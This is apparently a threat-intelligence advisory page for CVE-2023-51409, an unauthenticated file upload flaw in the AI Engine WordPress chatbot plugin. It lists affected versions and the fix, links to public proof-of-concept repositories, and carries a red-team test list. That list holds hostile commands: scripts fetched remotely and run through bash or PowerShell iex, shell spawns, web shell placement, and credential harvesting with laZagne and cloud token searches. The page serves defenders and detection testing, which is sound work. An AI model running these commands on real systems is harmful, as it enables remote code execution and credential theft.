CVE-2023-51409
Overview
This vulnerability is an unrestricted file upload flaw classified under CWE-434. The root cause lies in the AI Engine: ChatGPT Chatbot's failure to validate or restrict file types during upload processes. Specifically, the file upload functionality within the REST API component does not enforce checks on the content or extension of files submitted, allowing dangerous file types to be accepted without authentication controls.
Vulnerability Description
Unrestricted Upload of File with Dangerous Type vulnerability in Jordy Meow AI Engine: ChatGPT Chatbot.This issue affects AI Engine: ChatGPT Chatbot: from n/a through 1.9.98.
Impact
An unauthenticated attacker can upload arbitrary files with executable extensions, enabling remote code execution on the affected server. This grants the attacker full control over the hosting environment, including the ability to execute arbitrary commands, access sensitive data, and potentially pivot to other systems within the network. No user interaction or valid credentials are required, making exploitation straightforward and highly impactful for business operations and data confidentiality.
Solution
Users should upgrade the AI Engine: ChatGPT Chatbot WordPress plugin to version 1.9.99 or later, where this vulnerability has been addressed. Detailed patch instructions and advisory information are available at Patchstack's database for the AI Engine plugin. Applying this update will enforce proper file type validation and restrict unauthorized file uploads, mitigating the risk of exploitation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability associated with the AI Engine: ChatGPT Chatbot pertains to an unrestricted file upload feature that allows attackers to upload files of potentially dangerous types. This flaw arises from inadequate validation of file types during the upload process, which can lead to the execution of malicious scripts or the deployment of harmful payloads on the server. Attackers can exploit this weakness by uploading executable files or scripts that can be run on the server, thereby gaining unauthorized access to sensitive data or even taking control of the affected system. The severity of this vulnerability is underscored by its high CVSS score, indicating a critical risk to the integrity and confidentiality of the affected systems.
Exploitation of this vulnerability can occur through several attack vectors. An attacker could craft a malicious file, such as a PHP script, and upload it through the chatbot's file upload functionality. Once the file is successfully uploaded, the attacker can execute the script by accessing it via a web browser, leading to a range of malicious activities, including data exfiltration, defacement of the website, or the installation of backdoors for persistent access. Additionally, this vulnerability could be leveraged in combination with social engineering tactics, where an attacker tricks a user into uploading a malicious file under the guise of a legitimate action, further complicating detection and response efforts.
The real-world impact of this vulnerability can be significant, especially for businesses that rely on the AI Engine: ChatGPT Chatbot for customer interaction or data collection. Successful exploitation could lead to data breaches, loss of customer trust, and potential legal ramifications due to non-compliance with data protection regulations. Furthermore, the operational disruption caused by a successful attack could result in financial losses, reputational damage, and the costs associated with incident response and recovery efforts. Organizations using this software must recognize the potential for severe business risks and take proactive measures to protect their assets.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. First, it is essential to enforce strict validation of file types and sizes during the upload process, ensuring that only safe and expected file formats are permitted. Additionally, employing a web application firewall (WAF) can help filter out malicious traffic and block attempts to exploit this vulnerability. Regular security audits and vulnerability assessments should also be conducted to identify and remediate weaknesses in the system. Finally, educating users about the risks associated with file uploads and implementing robust monitoring solutions can further enhance the organization's security posture.
In conclusion, the unrestricted file upload vulnerability in the AI Engine: ChatGPT Chatbot presents a critical threat that organizations must address promptly. By understanding the technical details, potential attack vectors, and real-world implications, businesses can better prepare themselves against exploitation. Implementing effective detection and mitigation strategies will not only safeguard sensitive data but also protect the organization’s reputation and operational integrity in an increasingly threat-laden digital landscape.
CSURFACE threat intelligence has recorded a significant reduction in detection activity related to CVE-2023-51409, despite the vulnerability’s CVSS score being updated to a maximum severity of 10.0. This adjustment reflects a refined understanding of the exploit’s critical impact, emphasizing its potential for unauthenticated remote code execution via arbitrary file upload. However, the slight decline in telemetry signals suggests that active exploitation campaigns may currently be less frequent or more targeted than initially anticipated. Concurrently, the Exploit Prediction Scoring System (EPSS) remains high but stable, indicating persistent risk without signs of rapid escalation. The emergence of new proof-of-concept exploits on public repositories continues to lower the barrier for adversaries to weaponize this vulnerability, maintaining its attractiveness for threat actors seeking stealthy, zero-click remote access. For defenders, this evolving landscape underscores the necessity to remain vigilant despite reduced detection volume, as the criticality and exploitability of the flaw sustain a high threat level. The updated risk assessment confirms that CVE-2023-51409 remains a critical priority, with the potential for impactful compromise persisting in environments running affected versions of the AI Engine: ChatGPT Chatbot.
Update 2 — June 08, 2026
CSURFACE threat intelligence has identified a marked escalation in detection activity related to CVE-2023-51409, signaling renewed adversary interest in exploiting the unrestricted file upload vulnerability within Jordy Meow AI Engine: ChatGPT Chatbot. This uptick coincides with the emergence of new proof-of-concept exploits publicly available on GitHub, which demonstrate unauthenticated, zero-click remote code execution capabilities via arbitrary PHP webshell uploads. The persistence of these exploits, combined with the critical severity of the vulnerability, underscores an elevated risk of compromise in environments running affected versions. While the EPSS score remains near maximum and stable, the recent surge in telemetry suggests that threat actors are actively leveraging these tools to achieve stealthy, remote access. For defenders, this development highlights the necessity of heightened monitoring and rapid response readiness, as the attack surface remains highly attractive and weaponized exploit code continues to lower barriers for exploitation. Consequently, the threat level for CVE-2023-51409 should be considered sustained at critical, with increased likelihood of active exploitation campaigns in the near term.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Meowapps | Ai Engine | All |
cpe:2.3:a:meowapps:ai_engine:*:*:*:*:*:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
RandomRobbieBF/CVE-2023-51409
AI Engine: ChatGPT Chatbot <= 1.9.98 - Unauthenticated Arbitrary File Upload via rest_upload
|
RandomRobbieBF | 1 | 2 | 2024-02-22 | View |
|
JoshuaProvoste/0-click-RCE-Exploit-for-CVE-2023-51409
Unauthenticated 0-click RCE exploit for CVE-2023-51409. Abuses an arbitrary file upload flaw in the AI Engine WordPress ...
|
JoshuaProvoste | 1 | 0 | 2026-01-22 | View |
|
Nxploited/CVE-2023-51409
|
Nxploited | 0 | 0 | 2025-01-03 | View |
Threat Feed
6 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
30%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2023-51409 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/vulnerability/ai-engine/wordpress-ai-engine-plugin-1-9-98-unauthenticated-arbitrary-file-upload-vulnerability?_s_id=cve |
| github.com |
NVD API
|
https://github.com/JoshuaProvoste/0-click-RCE-Exploit-for-CVE-2023-51409 |